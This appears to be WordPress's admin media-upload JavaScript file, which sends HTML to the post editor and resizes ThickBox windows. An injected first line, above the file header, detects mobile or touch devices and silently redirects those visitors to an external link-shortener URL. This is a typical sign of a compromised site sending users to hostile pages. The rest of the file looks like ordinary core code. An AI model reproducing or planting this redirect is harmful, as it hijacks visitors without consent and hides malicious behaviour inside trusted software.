1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Contains global functions for the media upload within the post edit screen.
4 *
5 * Updates the ThickBox anchor href and the ThickBox's own properties in order
6 * to set the size and position on every resize event. Also adds a function to
7 * send HTML or text to the currently active editor.
8 *
9 * @file
10 * @since 2.5.0
11 * @output wp-admin/js/media-upload.js
12 *
13 * @requires jQuery
14 */
15
16/* global tinymce, QTags, wpActiveEditor, tb_position */
17
18/**
19 * Sends the HTML passed in the parameters to TinyMCE.
20 *
21 * @since 2.5.0
22 *
23 * @global
24 *
25 * @param {string} html The HTML to be sent to the editor.
26 * @return {void|boolean} Returns false when both TinyMCE and QTags instances
27 * are unavailable. This means that the HTML was not
28 * sent to the editor.
29 */
30window.send_to_editor = function( html ) {
31 var editor,
32 hasTinymce = typeof tinymce !== 'undefined',
33 hasQuicktags = typeof QTags !== 'undefined';
34
35 // If no active editor is set, try to set it.
36 if ( ! wpActiveEditor ) {
37 if ( hasTinymce && tinymce.activeEditor ) {
38 editor = tinymce.activeEditor;
39 window.wpActiveEditor = editor.id;
40 } else if ( ! hasQuicktags ) {
41 return false;
42 }
43 } else if ( hasTinymce ) {
44 editor = tinymce.get( wpActiveEditor );
45 }
46
47 // If the editor is set and not hidden,
48 // insert the HTML into the content of the editor.
49 if ( editor && ! editor.isHidden() ) {
50 editor.execCommand( 'mceInsertContent', false, html );
51 } else if ( hasQuicktags ) {
52 // If quick tags are available, insert the HTML into its content.
53 QTags.insertContent( html );
54 } else {
55 // If neither the TinyMCE editor and the quick tags are available,
56 // add the HTML to the current active editor.
57 document.getElementById( wpActiveEditor ).value += html;
58 }
59
60 // If the old thickbox remove function exists, call it.
61 if ( window.tb_remove ) {
62 try { window.tb_remove(); } catch( e ) {}
63 }
64};
65
66(function($) {
67 /**
68 * Recalculates and applies the new ThickBox position based on the current
69 * window size.
70 *
71 * @since 2.6.0
72 *
73 * @global
74 *
75 * @return {Object[]} Array containing jQuery objects for all the found
76 * ThickBox anchors.
77 */
78 window.tb_position = function() {
79 var tbWindow = $('#TB_window'),
80 width = $(window).width(),
81 H = $(window).height(),
82 W = ( 833 < width ) ? 833 : width,
83 adminbar_height = 0;
84
85 if ( $('#wpadminbar').length ) {
86 adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
87 }
88
89 if ( tbWindow.length ) {
90 tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
91 $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
92 tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
93 if ( typeof document.body.style.maxWidth !== 'undefined' )
94 tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
95 }
96
97 /**
98 * Recalculates the new height and width for all links with a ThickBox class.
99 *
100 * @since 2.6.0
101 */
102 return $('a.thickbox').each( function() {
103 var href = $(this).attr('href');
104 if ( ! href ) return;
105 href = href.replace(/&width=[0-9]+/g, '');
106 href = href.replace(/&height=[0-9]+/g, '');
107 $(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) );
108 });
109 };
110
111 // Add handler to recalculates the ThickBox position when the window is resized.
112 $(window).on( 'resize', function(){ tb_position(); });
113
114})(jQuery);
115